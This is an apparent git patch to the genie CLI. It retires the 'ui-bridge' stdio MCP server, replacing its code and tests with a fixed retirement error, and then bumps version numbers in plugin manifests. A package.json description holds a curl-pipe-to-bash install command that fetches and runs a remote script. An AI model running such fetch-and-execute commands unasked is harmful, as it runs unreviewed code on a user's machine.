join } from 'node:path'; -import { openDb } from '../lib/v5/genie-db.js'; -import { claimTask, createBoard, createTask, exportState, getHire, listHires } from '../lib/v5/task-state.js'; const GENIE = join(import.meta.dir, '..', 'genie.ts'); +const RETIRED_DIAGNOSTIC = + 'Error: genie ui-bridge has been retired; the Orca integration is the supported UI surface, or roll back to a pre-retirement signed release.\n'; -// ============================================================================ -// Fixtures -// ============================================================================ - -let repo: string; -let genieHome: string; - -function git(cwd: string, ...args: string[]): void { - execFileSync('git', args, { - cwd, - stdio: 'ignore', - env: { - ...process.env, - GIT_AUTHOR_NAME: 'Test', - GIT_AUTHOR_EMAIL: 'test@example.com', - GIT_COMMITTER_NAME: 'Test', - GIT_COMMITTER_EMAIL: 'test@example.com', - }, - }); -} - -beforeEach(() => { - repo = mkdtempSync(join(tmpdir(), 'genie-bridge-')); - genieHome = mkdtempSync(join(tmpdir(), 'genie-home-')); - git(repo, 'init', '-b', 'main'); - git(repo, 'commit', '--allow-empty', '-m', 'init'); -}); - -afterEach(() => { - rmSync(repo, { recursive: true, force: true }); - rmSync(genieHome, { recursive: true, force: true }); -}); - -function bridgeEnv(): Record<string, string> { - return { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1', GENIE_HOME: genieHome } as Record< - string, - string - >; -} - -// ============================================================================ -// JSON-RPC shapes + drivers -// ============================================================================ - -interface RpcMessage { - jsonrpc: '2.0'; - id?: number | string | null; - method?: string; - params?: Record<string, unknown>; - result?: Record<string, unknown>; - error?: { code: number; message: string; data?: unknown }; -} - -/** One-shot driver: write all requests, close stdin, collect every output line. */ -async function driveOnce(cmd: string, cwd: string, requests: Record<string, unknown>[]): Promise<RpcMessage[]> { - const proc = Bun.spawn(['bun', GENIE, cmd], { - cwd, - stdin: 'pipe', - stdout: 'pipe', - stderr: 'pipe', - env: bridgeEnv(), - }); - proc.stdin.write(`${requests.map((r) => JSON.stringify(r)).join('\n')}\n`); - await proc.stdin.end(); - const stdout = await new Response(proc.stdout).text(); - await proc.exited; - return parseLines(stdout); -} - -function parseLines(stdout: string): RpcMessage[] { - return stdout - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcMessage); -} - -/** Streaming client for long-lived interactions (push, shutdown, sockets). */ -class BridgeClient { - readonly proc: Bun.Subprocess<'pipe', 'pipe', 'pipe'>; - readonly messages: RpcMessage[] = []; - private buf = ''; - - constructor(cwd: string) { - this.proc = Bun.spawn(['bun', GENIE, 'ui-bridge'], { - cwd, - stdin: 'pipe', +describe('genie ui-bridge retirement', () => { + test('returns the stable non-zero retirement diagnostic without speaking the bridge protocol', () => { + const result = Bun.spawnSync(['bun', GENIE, 'ui-bridge'], { + stdin: Buffer.from('{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), stdout: 'pipe', stderr: 'pipe', - env: bridgeEnv(), - }); - void this.pump(); - } - - private async pump(): Promise<void> { - const reader = this.proc.stdout.getReader(); - const decoder = new TextDecoder(); - while (true) { - const { value, done } = await reader.read(); - if (done) break; - this.buf += decoder.decode(value, { stream: true }); - let nl = this.buf.indexOf('\n'); - while (nl !== -1) { - const line = this.buf.slice(0, nl).trim(); - this.buf = this.buf.slice(nl + 1); - if (line.length > 0) this.messages.push(JSON.parse(line) as RpcMessage); - nl = this.buf.indexOf('\n'); - } - } - } - - send(obj: Record<string, unknown>): void { - this.proc.stdin.write(`${JSON.stringify(obj)}\n`); - } - - async waitFor(pred: (m: RpcMessage) => boolean, timeoutMs = 4000): Promise<RpcMessage | null> { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - const hit = this.messages.find(pred); - if (hit) return hit; - await new Promise((r) => setTimeout(r, 5)); - } - return this.messages.find(pred) ?? null; - } - - async endStdin(): Promise<void> { - await this.proc.stdin.end(); - } - - kill(): void { - try { - this.proc.kill(); - } catch { - /* already gone */ - } - } -} - -const INIT_OK = { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', bridgeProtocolVersion: '1.0', clientInfo: { name: 't', version: '0' } }, -}; - -function toolPayload<T>(res: RpcMessage): T { - const content = (res.result?.content as Array<{ type: string; text: string }>) ?? []; - return JSON.parse(content[0].text) as T; -} - -function call(id: number, name: string, args: Record<string, unknown> = {}): Record<string, unknown> { - return { jsonrpc: '2.0', id, method: 'tools/call', params: { name, arguments: args } }; -} - -function seed(cwd: string): { taskIds: string[]; boardName: string } { - const db = openDb({ cwd }); - const board = createBoard(db, 'repo'); - const t1 = createTask(db, { title: 'alpha g1', boardId: board.id, wish: 'w-alpha', group: 'g1' }); - const t2 = createTask(db, { - title: 'alpha g2', - boardId: board.id, - wish: 'w-alpha', - group: 'g2', - dependsOn: [t1.id], - }); - const t3 = createTask(db, { title: 'loose', boardId: board.id }); - claimTask(db, t1.id, 'worker-1'); // t1 → in_progress - db.close(); - return { taskIds: [t1.id, t2.id, t3.id], boardName: 'repo' }; -} - -// ============================================================================ -// Success Criterion 1 — handshake (happy + incompatible) -// ============================================================================ - -describe('ui-bridge handshake', () => { - test('reports bridge protocol version + genie version on a compatible client', async () => { - const [res] = await driveOnce('ui-bridge', repo, [INIT_OK]); - expect(res.id).toBe(1); - expect(res.result?.bridgeProtocolVersion).toBe('1.0'); - expect(typeof res.result?.genieVersion).toBe('string'); - expect(res.result?.protocolVersion).toBe('2024-11-05'); - const serverInfo = res.result?.serverInfo as { name: string; version: string }; - expect(serverInfo.name).toBe('genie-ui-bridge'); - expect(res.error).toBeUndefined(); - }); - - test('an incompatible declared version gets a structured error, not silence', async () => { - const [res] = await driveOnce('ui-bridge', repo, [ - { jsonrpc: '2.0', id: 1, method: 'initialize', params: { bridgeProtocolVersion: '2.0' } }, - ]); - expect(res.result).toBeUndefined(); - expect(res.error?.code).toBe(-32001); - const data = res.error?.data as { serverBridgeProtocolVersion: string; clientBridgeProtocolVersion: string }; - expect(data.serverBridgeProtocolVersion).toBe('1.0'); - expect(data.clientBridgeProtocolVersion).toBe('2.0'); - }); - - test('a client declaring no bridge version is accepted (best-effort)', async () => { - const [res] = await driveOnce('ui-bridge', repo, [ - { jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: '2024-11-05' } }, - ]); - expect(res.error).toBeUndefined(); - expect(res.result?.bridgeProtocolVersion).toBe('1.0'); - }); - - test('exposes the 5 read tools plus the 2 roster write tools; roster_hire requires worktree', async () => { - const responses = await driveOnce('ui-bridge', repo, [INIT_OK, { jsonrpc: '2.0', id: 2, method: 'tools/list' }]); - const list = responses.find((r) => r.id === 2); - const tools = list?.result?.tools as Array<{ name: string; inputSchema: { required?: string[] } }>; - expect(tools.map((t) => t.name).sort()).toEqual([ - 'genie_active', - 'genie_board', - 'genie_task', - 'genie_wish_status', - 'genie_worktree_context', - 'roster_hire', - 'roster_unhire', - ]); - const hire = tools.find((t) => t.name === 'roster_hire'); - expect(hire?.inputSchema.required).toEqual(['wish', 'agentAdapterId', 'worktree']); - }); -}); - -// ============================================================================ -// Success Criterion 2 — read parity vs exportState() -// ============================================================================ - -describe('ui-bridge read parity', () => { - test('every task/board/wish row the read tools surface matches exportState()', async () => { - const { boardName } = seed(repo); - const db = openDb({ cwd: repo }); - const exp = exportState(db); - db.close(); - - const responses = await driveOnce('ui-bridge', repo, [ - INIT_OK, - call(3, 'genie_board'), - call(4, 'genie_board', { board: boardName }), - call(5, 'genie_wish_status', { wish: 'w-alpha' }), - call(6, 'genie_active'), - ]); - - // Task rows: same ids, statuses, wish/group, claimant as the export. - const boardPayload = toolPayload<{ tasks: Array<Record<string, unknown>> }>(responses.find((r) => r.id === 3)!); - const byId = new Map(boardPayload.tasks.map((t) => [t.id as string, t])); - expect(byId.size).toBe(exp.tasks.length); - for (const raw of exp.tasks) { - const t = byId.get(raw.id); - expect(t).toBeDefined(); - expect(t?.status).toBe(raw.status); - expect(t?.wish).toBe(raw.wish); - expect(t?.group).toBe(raw.group_name); - expect(t?.claimedBy).toBe(raw.claimed_by); - } - - // Board projection: the named board resolves and carries its own tasks. - const namedBoard = toolPayload<{ board: string; tasks: unknown[] }>(responses.find((r) => r.id === 4)!); - const boardRow = exp.boards.find((b) => b.name === boardName); - expect(boardRow).toBeDefined(); - expect(namedBoard.board).toBe(boardName); - expect(namedBoard.tasks.length).toBe(exp.tasks.filter((t) => t.board_id === boardRow?.id).length); - - // Wish groups: genie_wish_status is a hardcoded [] (wish-group machinery is - // production-dead); exportState carries the field, also empty. No seeding, - // no cross-comparison — the MCP side never reads the table anymore. - const wish = toolPayload<{ groups: Array<{ name: string; status: string; dependsOn: string[] }> }>( - responses.find((r) => r.id === 5)!, - ); - expect(wish.groups).toEqual([]); - - // Active projection: exactly the in_progress rows from the export. - const active = toolPayload<{ tasks: Array<{ id: string }> }>(responses.find((r) => r.id === 6)!); - expect(active.tasks.map((t) => t.id).sort()).toEqual( - exp.tasks - .filter((t) => t.status === 'in_progress') - .map((t) => t.id) - .sort(), - ); - }); -}); - -// ============================================================================ -// Success Criterion 3 — roster write tools + concurrency -// ============================================================================ - -describe('ui-bridge roster write tools', () => { - test('roster_hire / roster_unhire round-trip through task-state and surface in exportState()', async () => { - const responses = await driveOnce('ui-bridge', repo, [ - INIT_OK, - call(2, 'roster_hire', { wish: 'w-alpha', agentAdapterId: 'codex-1', worktree: '/wt/codex-1', profile: 'high' }), - call(3, 'roster_unhire', { wish: 'w-alpha', agentAdapterId: 'codex-1' }), - call(4, 'roster_unhire', { wish: 'w-alpha', agentAdapterId: 'never' }), - ]); - - const hired = toolPayload<{ wish: string; agentAdapterId: string; worktree: string; profile: string }>( - responses.find((r) => r.id === 2)!, - ); - expect(hired).toMatchObject({ - wish: 'w-alpha', - agentAdapterId: 'codex-1', - worktree: '/wt/codex-1', - profile: 'high', + env: { ...process.env, NO_COLOR: '1' }, }); - const removed = toolPayload<{ removed: boolean }>(responses.find((r) => r.id === 3)!); - expect(removed.removed).toBe(true); - const absent = toolPayload<{ removed: boolean }>(responses.find((r) => r.id === 4)!); - expect(absent.removed).toBe(false); - - // Final state: hire then unhire → gone. (Prove it went through the real db.) - const db = openDb({ cwd: repo }); - expect(getHire(db, 'w-alpha', 'codex-1')).toBeNull(); - db.close(); - }); - - test('roster_hire persists a row visible in a fresh export', async () => { - await driveOnce('ui-bridge', repo, [ - INIT_OK, - call(2, 'roster_hire', { wish: 'w-beta', agentAdapterId: 'a1', worktree: '/wt/a1' }), - ]); - const db = openDb({ cwd: repo }); - const exp = exportState(db); - db.close(); - expect(exp.hire_roster.some((h) => h.wish === 'w-beta' && h.agent_adapter_id === 'a1')).toBe(true); - }); - - test('missing required argument returns a structured invalid_arguments payload', async () => { - const responses = await driveOnce('ui-bridge', repo, [ - INIT_OK, - call(2, 'roster_hire', { wish: 'w', agentAdapterId: 'a' }), // no worktree - ]); - const payload = toolPayload<{ error: string; missing: string[] }>(responses.find((r) => r.id === 2)!); - expect(payload.error).toBe('invalid_arguments'); - expect(payload.missing).toEqual(['worktree']); - }); - - test('concurrent CLI writer during bridge roster writes: no corruption, no busy-failure', async () => { - seed(repo); - const N = 8; - const requests: Record<string, unknown>[] = [INIT_OK]; - for (let i = 0; i < N; i++) { - requests.push( - call(100 + i, 'roster_hire', { wish: 'w-alpha', agentAdapterId: `agent-${i}`, worktree: `/wt/${i}` }), - ); - } - - // A parallel, separate-connection CLI-style writer racing the bridge's writes. - const cliWriter = (async () => { - const db = openDb({ cwd: repo }); - for (let i = 0; i < N; i++) createTask(db, { title: `concurrent-${i}`, wish: 'w-alpha', group: 'g1' }); - db.close(); - })(); - - const [responses] = await Promise.all([driveOnce('ui-bridge', repo, requests), cliWriter]); - - // Every roster write succeeded (no SQLITE_BUSY escaping as a JSON-RPC error). - for (let i = 0; i < N; i++) { - const res = responses.find((r) => r.id === 100 + i); - expect(res?.error).toBeUndefined(); - expect(res?.result?.isError).toBe(false); - } - - // Final state is consistent: all roster rows AND all concurrent tasks landed. - const db = openDb({ cwd: repo }); - const hires = listHires(db, 'w-alpha'); - const tasks = exportState(db).tasks.filter((t) => t.title.startsWith('concurrent-')); - db.close(); - expect(hires.length).toBe(N); - expect(tasks.length).toBe(N); - }); -}); - -// ============================================================================ -// Success Criterion 4 — push within 1s -// ============================================================================ - -describe('ui-bridge change push', () => { - test('an external genie task create yields a change notification within 1s', async () => { - seed(repo); - const client = new BridgeClient(repo); - try { - client.send(INIT_OK); - const init = await client.waitFor((m) => m.id === 1 && m.result !== undefined); - expect(init?.result?.bridgeProtocolVersion).toBe('1.0'); - - // External write on a separate connection while the bridge is running. - const t0 = Date.now(); - const db = openDb({ cwd: repo }); - createTask(db, { title: 'pushed', wish: 'w-alpha', group: 'g1' }); - db.close(); - - const note = await client.waitFor((m) => m.method === 'notifications/genie/changed', 3000); - const elapsed = Date.now() - t0; - expect(note).not.toBeNull(); - expect(typeof (note?.params?.dataVersion as number)).toBe('number'); - expect(elapsed).toBeLessThanOrEqual(1000); - } finally { - client.kill(); - } - }); -}); - -// ============================================================================ -// Success Criterion 5 — lifetime (shutdown ≤2s + zero listening sockets) -// ============================================================================ - -describe('ui-bridge lifetime', () => { - test('closing client stdin ends the bridge within 2s', async () => { - const client = new BridgeClient(repo); - client.send(INIT_OK); - await client.waitFor((m) => m.id === 1); - const t0 = Date.now(); - await client.endStdin(); - const code = await client.proc.exited; - const elapsed = Date.now() - t0; - expect(code).toBe(0); - expect(elapsed).toBeLessThanOrEqual(2000); + expect(result.exitCode).toBe(1); + expect(result.stdout.toString()).toBe(''); + expect(result.stderr.toString()).toBe(RETIRED_DIAGNOSTIC); }); - test('holds zero listening TCP sockets while running', async () => { - const client = new BridgeClient(repo); + test('opens no database and creates no repository state', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-ui-bridge-retired-')); try { - client.send(INIT_OK); - await client.waitFor((m) => m.id === 1); - const pid = client.proc.pid; - // `ss` is Linux-only (iproute2); macOS ships lsof instead, which filters - // by pid directly and exits 1 — with no output — when nothing is listening. - const owned = - process.platform === 'darwin' - ? (() => { - try { - return execFileSync('lsof', ['-nP', '-iTCP', '-sTCP:LISTEN', '-a', '-p', String(pid)], { - encoding: 'utf-8', - }); - } catch { - return ''; - } - })() - : execFileSync('ss', ['-H', '-tlnp'], { encoding: 'utf-8' }) - .split('\n') - .filter((l) => new RegExp(`pid=${pid}\\b`).test(l)) - .join('\n'); - expect(owned).toBe(''); + const result = Bun.spawnSync(['bun', GENIE, 'ui-bridge'], { + cwd: root, + stdout: 'pipe', + stderr: 'pipe', + env: { ...process.env, GENIE_HOME: join(root, 'home'), NO_COLOR: '1' }, + }); + + expect(result.exitCode).toBe(1); + expect(result.stderr.toString()).toBe(RETIRED_DIAGNOSTIC); + expect(existsSync(join(root, '.genie'))).toBe(false); + expect(readdirSync(root)).toEqual([]); } finally { - client.kill(); + rmSync(root, { recursive: true, force: true }); } }); -}); - -describe('genie mcp retirement remains separate from ui-bridge', () => { - test('rejects MCP input with the stable diagnostic instead of starting a server', () => { - const invocation = Bun.spawnSync([process.execPath, GENIE, 'mcp'], { - cwd: repo, - stdin: Buffer.from('{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), - stdout: 'pipe', - stderr: 'pipe', - }); - - expect(invocation.exitCode).toBe(1); - expect(invocation.stdout.toString()).toBe(''); - expect(invocation.stderr.toString()).toBe( - 'Error: genie mcp has been retired; use `genie task` and `genie board`, or roll back to a pre-A7 signed release.\n', - ); - }); -}); - -describe('orca lifecycle authority', () => { - test('refuses with one clean Error line and exit 1 instead of an uncaught throw', () => { - writeFileSync(join(genieHome, 'config.json'), '{"orchestration":{"mode":"orca"}}'); - - const invocation = Bun.spawnSync([process.execPath, GENIE, 'ui-bridge'], { - cwd: repo, - stdin: Buffer.from('{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'), - stdout: 'pipe', - stderr: 'pipe', - env: bridgeEnv(), - }); - expect(invocation.exitCode).toBe(1); - // Refused BEFORE any handle, watcher, or backstop exists — no protocol - // traffic, and no raw stack trace out of the first lazy read-only open. - expect(invocation.stdout.toString()).toBe(''); - expect(invocation.stderr.toString()).toBe( - 'Error: local_lifecycle_disabled_in_orca_mode: local Genie lifecycle state is disabled because orchestration.mode is "orca"\n', - ); + test('documents retirement in command help', () => { + const result = Bun.spawnSync(['bun', GENIE, 'ui-bridge', '--help'], { stdout: 'pipe', stderr: 'pipe' }); + expect(result.exitCode).toBe(0); + expect(result.stdout.toString()).toContain('retired'); }); }); diff --git a/src/term-commands/ui-bridge.ts b/src/term-commands/ui-bridge.ts index fad00b378..3151f5634 100644 --- a/src/term-commands/ui-bridge.ts +++ b/src/term-commands/ui-bridge.ts @@ -1,307 +1,14 @@ -/** - * genie ui-bridge — the UI-owned stdio channel into CLI-only genie. - * - * A long-lived stdio MCP server the separate-repo genie UI (the dash fork) - * spawns and OWNS: it retains the shared newline-JSON-RPC transport + five - * read tools, and ADDS the net-new surface — a version-negotiating `initialize` - * handshake, two roster write tools (`roster_hire` / `roster_unhire`) calling - * genie's own `task-state.ts` code, and change-push notifications driven by an - * in-child watcher. Genie stays zero-daemon: the child lives and dies with the - * UI (stdin EOF exit + ppid backstop) and NEVER opens a socket or port. - * - * Contract: `src/lib/v5/UI-BRIDGE.md` (protocol version, tools, notifications, - * skew policy, lifetime). - * - * LAZY-LOAD contract: the shared read-tool registry - * (write-capable open + read registry) is `await import`-ed inside the action, - * so it never enters the genie startup import graph. The transport loop, - * watcher, and state ops are ordinary static imports (none pulls in - * `mcp-tools.ts`). - */ - import type { Command } from 'commander'; -import { assertLocalLifecycleEnabled } from '../lib/orchestration-mode.js'; -import { startChangeWatcher, startPpidBackstop } from '../lib/v5/bridge-watcher.js'; -import { openDb, resolveDbPath } from '../lib/v5/genie-db.js'; -import { - type InitializeOutcome, - type JsonRpcError, - PROTOCOL_VERSION, - notify, - runMcpServerLoop, -} from '../lib/v5/mcp-server.js'; -import type { McpTool } from '../lib/v5/mcp-tools.js'; -import { hireAgent, unhireAgent } from '../lib/v5/task-state.js'; -import { VERSION } from '../lib/version.js'; - -// ============================================================================ -// Protocol constants (documented in UI-BRIDGE.md) -// ============================================================================ - -/** - * The genie ui-bridge protocol version reported by the handshake. Distinct from - * the MCP wire version (`2024-11-05`): this versions the bridge CONTRACT (tool - * set, notification semantics, write surface) so the UI and genie can release on - * separate cadences. `major.minor`; compatibility is by MAJOR. - */ -export const BRIDGE_PROTOCOL_VERSION = '1.0'; - -/** The id-less notification method emitted when the db changed. */ -export const CHANGE_NOTIFICATION_METHOD = 'notifications/genie/changed'; - -/** JSON-RPC error code (server-defined range) for a declared-incompatible client. */ -export const INCOMPATIBLE_VERSION_CODE = -32001; - -// ============================================================================ -// Version negotiation -// ============================================================================ - -/** MAJOR component of a `major[.minor…]` version string, or null when unparseable. */ -function majorOf(version: string): number | null { - const m = /^(\d+)/.exec(version.trim()); - return m ? Number.parseInt(m[1], 10) : null; -} - -/** Same-MAJOR compatibility against {@link BRIDGE_PROTOCOL_VERSION}. */ -function isCompatibleBridgeVersion(declared: string): boolean { - const declaredMajor = majorOf(declared); - const serverMajor = majorOf(BRIDGE_PROTOCOL_VERSION); - return declaredMajor !== null && declaredMajor === serverMajor; -} - -/** - * Build the `initialize` reply. A client that declares - * `params.bridgeProtocolVersion` with an incompatible MAJOR receives a - * structured JSON-RPC error (never silence). A client that declares nothing is - * accepted best-effort and left to decide from the server's reported versions. - */ -export function bridgeInitialize(params: Record<string, unknown> | undefined): InitializeOutcome { - const declared = typeof params?.bridgeProtocolVersion === 'string' ? params.bridgeProtocolVersion : undefined; - if (declared !== undefined && !isCompatibleBridgeVersion(declared)) { - const error: JsonRpcError = { - code: INCOMPATIBLE_VERSION_CODE, - message: `Incompatible genie ui-bridge protocol version: client declared "${declared}", server speaks "${BRIDGE_PROTOCOL_VERSION}"`, - data: { serverBridgeProtocolVersion: BRIDGE_PROTOCOL_VERSION, clientBridgeProtocolVersion: declared }, - }; - return { error }; - } - return { - result: { - protocolVersion: PROTOCOL_VERSION, - bridgeProtocolVersion: BRIDGE_PROTOCOL_VERSION, - genieVersion: VERSION, - capabilities: { tools: {}, experimental: { genieChangeNotifications: true } }, - serverInfo: { name: 'genie-ui-bridge', version: VERSION }, - }, - }; -} - -// ============================================================================ -// Roster write tools (the bridge's only write surface) -// ============================================================================ - -function nonEmptyString(args: Record<string, unknown>, key: string): string | null { - const v = args[key]; - return typeof v === 'string' && v.length > 0 ? v : null; -} - -function optionalString(args: Record<string, unknown>, key: string): string | undefined { - const v = args[key]; - return typeof v === 'string' && v.length > 0 ? v : undefined; -} - -/** - * The two roster write tools, over a lazily-opened WRITE-capable handle. They - * call `task-state.ts` ops exclusively (never raw SQL) so writer invariants stay - * in one codebase. `worktree` is REQUIRED on hire — a worktree is always known at - * hire time (dash binds the genie-launch worktree when hiring), confirming the - * `hire_roster.worktree NOT NULL` design. - */ -export function buildRosterTools(getWriteDb: () => import('bun:sqlite').Database): McpTool[] { - return [ - { - name: 'roster_hire', - description: 'Hire an agent adapter into a wish (idempotent upsert on (wish, agentAdapterId)).', - inputSchema: { - type: 'object', - properties: { - wish: { type: 'string', description: 'wish slug' }, - agentAdapterId: { type: 'string', description: 'agent adapter id (runtime/provider slot)' }, - worktree: { type: 'string', description: 'worktree binding (required — bound at hire time)' }, - profile: { type: 'string', description: 'optional provider profile' }, - state: { type: 'string', description: 'optional lifecycle state (defaults to "hired")' }, - }, - required: ['wish', 'agentAdapterId', 'worktree'], - }, - handler: (_ctx, args) => { - const wish = nonEmptyString(args, 'wish'); - const agentAdapterId = nonEmptyString(args, 'agentAdapterId'); - const worktree = nonEmptyString(args, 'worktree'); - if (!wish || !agentAdapterId || !worktree) { - return { - error: 'invalid_arguments', - missing: [ - ...(wish ? [] : ['wish']), - ...(agentAdapterId ? [] : ['agentAdapterId']), - ...(worktree ? [] : ['worktree']), - ], - }; - } - return hireAgent(getWriteDb(), { - wish, - agentAdapterId, - worktree, - profile: optionalString(args, 'profile'), - state: optionalString(args, 'state'), - }); - }, - }, - { - name: 'roster_unhire', - description: 'Remove an agent adapter from a wish (idempotent; removed=false when absent).', - inputSchema: { - type: 'object', - properties: { - wish: { type: 'string', description: 'wish slug' }, - agentAdapterId: { type: 'string', description: 'agent adapter id' }, - }, - required: ['wish', 'agentAdapterId'], - }, - handler: (_ctx, args) => { - const wish = nonEmptyString(args, 'wish'); - const agentAdapterId = nonEmptyString(args, 'agentAdapterId'); - if (!wish || !agentAdapterId) { - return { - error: 'invalid_arguments', - missing: [...(wish ? [] : ['wish']), ...(agentAdapterId ? [] : ['agentAdapterId'])], - }; - } - const removed = unhireAgent(getWriteDb(), wish, agentAdapterId); - return { wish, agentAdapterId, removed }; - }, - }, - ]; -} - -// ============================================================================ -// Watch reader (dedicated read connection for PRAGMA data_version polling) -// ============================================================================ - -interface WatchReader { - readDataVersion: () => number | null; - close: () => void; -} - -/** - * A long-lived read connection whose `PRAGMA data_version` increments whenever - * ANY other connection commits — the honest daemon-free change signal. Reopens - * lazily so a db created mid-session (first bridge write, or a fresh `genie - * init`) is picked up instead of polling `null` forever. - */ -function openWatchReader( - openReadonlyDb: (cwd: string) => import('bun:sqlite').Database | null, - cwd: string, -): WatchReader { - let handle = openReadonlyDb(cwd); - return { - readDataVersion(): number | null { - if (!handle) handle = openReadonlyDb(cwd); - if (!handle) return null; - try { - const row = handle.query('PRAGMA data_version').get() as { data_version: number } | null; - return row?.data_version ?? null; - } catch { - return null; - } - }, - close(): void { - handle?.close(); - handle = null; - }, - }; -} - -// ============================================================================ -// Runner -// ============================================================================ - -/** - * Run the ui-bridge stdio server until stdin EOF (or the ppid backstop fires). - * Composes the reused read tools + roster write tools + change watcher + ppid - * backstop over the shared transport loop, then exits promptly. - */ -export async function runUiBridge(): Promise<void> { - // Lifecycle authority first: under Orca the local store is not this repo's - // truth, so the bridge refuses BEFORE any handle, watcher, or backstop - // exists instead of throwing out of the first lazy read-only open. - assertLocalLifecycleEnabled(); - // Lazy: keep the read-only bun:sqlite open + read tools out of genie startup. - const { MCP_TOOLS, openReadonlyDb } = await import('../lib/v5/mcp-tools.js'); - const cwd = process.cwd(); - - // Lazily-opened WRITE handle — the bridge stays non-mutating until an actual - // roster write is requested. One canonical open path (genie-db → sqlite-open), - // never a second raw `new Database`. - let writeDb: import('bun:sqlite').Database | null = null; - const getWriteDb = (): import('bun:sqlite').Database => { - if (!writeDb) writeDb = openDb({ cwd }); - return writeDb; - }; - - const reader = openWatchReader(openReadonlyDb, cwd); - const watcher = startChangeWatcher({ - dbPath: resolveDbPath(cwd), - readDataVersion: reader.readDataVersion, - onChange: (dataVersion) => notify(CHANGE_NOTIFICATION_METHOD, { dataVersion }), - }); - const backstop = startPpidBackstop({ - originalPpid: process.ppid, - onOrphaned: () => shutdown(true), - }); - - let stopped = false; - function shutdown(exit: boolean): void { - if (!stopped) { - stopped = true; - watcher.stop(); - backstop.stop(); - reader.close(); - writeDb?.close(); - writeDb = null; - } - // Orphaned path: stdin EOF will never arrive, so force a prompt exit. - if (exit) process.exit(0); - } - - await runMcpServerLoop({ - tools: [...MCP_TOOLS, ...buildRosterTools(getWriteDb)], - openDb: openReadonlyDb, - initialize: bridgeInitialize, - onClose: () => shutdown(false), - }); - - // stdin EOF path: the loop resolved after cleanup + flush. Exit promptly and - // deterministically (well within the 2 s lifetime bound) rather than waiting - // for the event loop to drain. - process.exit(0); -} -// ============================================================================ -// Registration -// ============================================================================ +export const UI_BRIDGE_RETIRED_DIAGNOSTIC = + 'Error: genie ui-bridge has been retired; the Orca integration is the supported UI surface, or roll back to a pre-retirement signed release.'; export function registerUiBridgeCommand(program: Command): void { program .command('ui-bridge') - .description('Run the UI-owned stdio MCP bridge (reads + roster writes + change-push) into genie.db') - .action(async () => { - try { - await runUiBridge(); - } catch (err) { - // The same one-line rendering `genie task`, `genie idea`, and `genie - // board` use — never a raw stack trace on a typed refusal. - process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}\n`); - process.exit(1); - } + .description('Report that the legacy Genie UI bridge is retired') + .action(() => { + process.stderr.write(`${UI_BRIDGE_RETIRED_DIAGNOSTIC}\n`); + process.exitCode = 1; }); } From b3735d1f00aa77520bac2fcee8ad412a6155b64a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:34:29 +0000 Subject: [PATCH 35/45] chore(version): bump to 5.260830.6 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 25cba0e56..341ea3a86 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.5", + "version": "5.260830.6", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 20090ad5f..7892a23b5 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.5", + "version": "5.260830.6", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 916a9cea8..74de2efd3 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.5", + "version": "5.260830.6", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 63ca98c89..bc49b740d 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.5", + "version": "5.260830.6", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index ebe3e20f8..5fb318bd6 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.5", + "version": "5.260830.6", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 5a7870ca0..f86063a43 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.5", + "version": "5.260830.6", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index fd3bf59ee..639b3e73e 100644 